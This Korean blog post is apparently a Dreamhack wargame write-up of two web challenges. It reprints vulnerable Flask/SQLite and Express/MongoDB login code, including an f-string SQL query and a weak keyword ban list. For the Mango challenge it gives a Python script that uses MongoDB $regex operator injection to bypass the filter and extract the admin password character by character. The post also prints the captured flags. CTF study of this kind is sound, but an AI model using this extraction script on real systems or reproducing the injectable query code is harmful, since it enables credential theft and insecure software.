본문 바로가기

Dreamhack/Web Hacking

[Web Hacking] STAGE 6

STAGE 6

 

 

 

 

 

simple_sqli

 

 

이 문제는 로그인 서비스로 SQL INJECTION 취약점을 통해 플래그를 획득할 수 있다.

플래그는 flag.txt, FLAG 변수에 있다고 힌트를 주고 있음

 

 

 

 

 

문제 파일로 Python 파일이 주어졌다.

 

#!/usr/bin/python3
from flask import Flask, request, render_template, g
import sqlite3
import os
import binascii

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

DATABASE = "database.db"
if os.path.exists(DATABASE) == False:
    db = sqlite3.connect(DATABASE)
    db.execute('create table users(userid char(100), userpassword char(100));')
    db.execute(f'insert into users(userid, userpassword) values ("guest", "guest"), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}");')
    db.commit()
    db.close()

def get_db():
    db = getattr(g, '_database', None)
    if db is None:
        db = g._database = sqlite3.connect(DATABASE)
    db.row_factory = sqlite3.Row
    return db

def query_db(query, one=True):
    cur = get_db().execute(query)
    rv = cur.fetchall()
    cur.close()
    return (rv[0] if rv else None) if one else rv

@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, '_database', None)
    if db is not None:
        db.close()

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    else:
        userid = request.form.get('userid')
        userpassword = request.form.get('userpassword')
        res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
        if res:
            userid = res[0]
            if userid == 'admin':
                return f'hello {userid} flag is {FLAG}'
            return f'<script>alert("hello {userid}");history.go(-1);</script>'
        return '<script>alert("wrong");history.go(-1);</script>'

app.run(host='0.0.0.0', port=8000)

 

 

 

 

 

login 창에서

guest로 로그인하면 다음과 같은 메시지가 출력된다.

 

 

 

 

 

 

공격 쿼리문을 userid와 userpassword 입력창에 입력하면 admin 계정으로 로그인 된다.

 

 

 

 

 

 

플래그 출력

 

 

DH{1f136225e316add7bff3349ab1dd5400}

 

 

 

 

 

 

성공!

 

 

 

 

 

Mango

 

 

이 문제는 데이터베이스에 저장된 플래그를 획득하는 문제다.
플래그는 admin 계정의 비밀번호

 

 

 

 

 

문제 파일로 js 파일이 주어졌다.

 

const express = require('express');
const app = express();

const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

app.get('/', function(req, res) {
    res.send('/login?uid=guest&upw=guest');
});

app.listen(8000, '0.0.0.0');

 

 

 

 

 

초기 화면

 

 

 

 

 

 

해당 인덱스를 이용하여 서버 요청

 

 

guest 출력

 

 

 

 

 

 

uid와 upw를 admin으로 수정하여 서버에 요청하면

filter가 출력된다.

 

 

 

 

 

 

필터 우회

regex 연산 사용하면 정규표현식을 이용해 데이터 검색이 가능하다.

정규표현식에서 임의 문자를 의미하는 .을 이용하여 쉽게 우회 가능

 

 

admin 유저 이름이 출력된다

쿼리가 참임을 확인할 수 있다.

 

 

 

 

 

정규표현식을 통해 한 글자씩 알아내야 하므로, 여러 번 쿼리를 전달해야 한다.

파이썬으로 코드를 작성해보았다.

드림핵에서 예시로 제공되는 코드를 임의로 수정하여 사용

 

import requests
import string

url = 'http://host3.dreamhack.games:16410/login?uid[$regex]=ad.in&upw[$regex]=D.{'
alphanumeric = string.ascii_letters + string.digits
flag = ''

for i in range(32):
    for char in alphanumeric:
        res = requests.get(url + flag + char + '.*')
        if res.text == 'admin':
            flag += char
            print('DH{' + flag)
            break

print('DH{' + flag + '}')

 

 

 

 

 

다음과 같이 비밀번호가 출력이 된다.

 

 

DH{89e50fa6fafe2604e33c0ba05843d3df}

 

 

 

 

 

성공!

'Dreamhack > Web Hacking' 카테고리의 다른 글

[Web Hacking] STAGE 8  (0) 2022.08.26
[Web Hacking] STAGE 7  (0) 2022.08.19
[Web Hacking] STAGE 5  (0) 2022.08.04
[Web Hacking] STAGE 4  (0) 2022.07.25
[Web Hacking] STAGE 3  (0) 2022.07.21